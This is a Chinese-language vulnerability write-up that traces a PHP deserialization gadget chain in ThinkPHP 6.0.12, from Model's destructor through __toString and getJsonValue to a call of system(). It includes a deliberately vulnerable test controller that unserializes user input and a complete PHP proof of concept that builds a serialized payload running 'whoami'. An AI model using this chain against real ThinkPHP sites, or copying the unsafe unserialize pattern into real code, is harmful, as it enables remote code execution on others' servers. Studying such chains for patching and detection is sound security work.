Thinkphp6.0.12 反序列化

0x01 环境

Thinkphp6.0.12

php 7.4.0

composer create-project topthink/think=6.0.12 tp6

0x02 测试代码

  1. 在项目目录下创建一个测试控制器

php think make:controller Test

  1. 在 Test 控制器 index 方法中添加
     public function index()
     {
         if ($a=input('param.a')){
             var_dump(base64_decode($a));
             echo "<br>";
             unserialize(base64_decode($a));
         }
     }

0x03 漏洞分析

** 1. 在大佬的文章总结中, 反序列化 一般起点出现在**desturct 和 **wakeup 通过全局搜索 查询满足条件的 在:vendor\topthink\think-orm\src\Model.php(大佬怎么说我怎么写)**

image-20220303180420019

  1. ** 第一个条件 要把 $this->lazySave设置为 True **
    跟进$this->save()
    , $this->isEmpty() 只要保证 data 不为空就行 $this->trigger('BeforeWrite')) 默认返回为真
 public function isEmpty(): bool
 {
     return empty($this->data);
 }
  1. ** 将 **$this->exists** 设置为 True,跟进 **$this -> updateData()

image-20220303181123318

  1. 在 621 列 $allowFields = $this->checkAllowFields() 跟进

image-20220303181558066

  1. ** 继续跟进 565 列 **$query = $this->db();

image-20220303181719266

  1. ** 在 362 行将 $this->table . $this->suffix 拼接在一起,将 $this->table 设置为一个对象 触发 **__toString

image-20220303181958370

  1. 全局查找toString 最后在 vendor\topthink\think-orm\src\model\concern\Conversion.php 中找到toString()(以前版本也是在这里出现漏洞的,反正很好找到)这里是一个代码复用的机制所以不用将$this->table** 设置成特定类, 刚好 Model 抽象类也有用到 use model\concern\Conversion 所以这里直接实例化本身就行 **

image-20220303183151437

  1. 继续跟进$this->toArray()** ,将 $this->data 设置为数据即可进入循环, 在 238 中跟进 $key 是 **$data的键名

image-20220303183401764

  1. 跟进$this->getAttr($key)** **

image-20220303183631626

$name** 可控不提 **

$value** 为 **$this->getData($name)返回值 ,跟进一下

image-20220303183905068

$fieldName** 跟进一下 **

image-20220303183952916

$fieldName** 可控, 返回的是 $this->data[$fieldName] **

很明显这个$value** 就是 **$this->data的值,

  1. 继续跟进$this->getValue($name, $value, $relation);

image-20220303184253914

第 509 行 ,$fieldName** 为 $this->data 键名 ,将 **this->json** 设置成 $this->data的键名,$this->withAttr[$fieldName] 设置成 数组就行 **

  1. 跟进$this->getJsonValue($fieldName, $value),保证$this->jsonAssoc为真即可,将$this->withAttr** 的 值设置成你需要执行的函数,而 **$this->data的值设置为 需要执行的代码即可

image-20220303185128690

0x03 POC

 <?php
 namespace think{
     abstract class Model{
         private $lazySave;
         private $data;
         protected $table;
         private $withAttr;
         protected $json ;
         protected $jsonAssoc;
         private $exists;
         public function __construct($obj = '')
         {
             $this->lazySave = True;
             $this->exists = True;
             $this->data = ['arr' =>['whoami']];
             $this->table = $obj;
             $this->withAttr = ['arr'=>['system']];
             $this->json = ['arr'];
             $this->jsonAssoc  = True;
         }
     }
 }
 namespace think\Model{
     use think\Model;
     class Pivot extends Model{
     }
 }
 
 namespace {
     $a = new think\model\Pivot();
     $b = new think\model\Pivot($a);
     echo base64_encode(serialize($b));
 
 }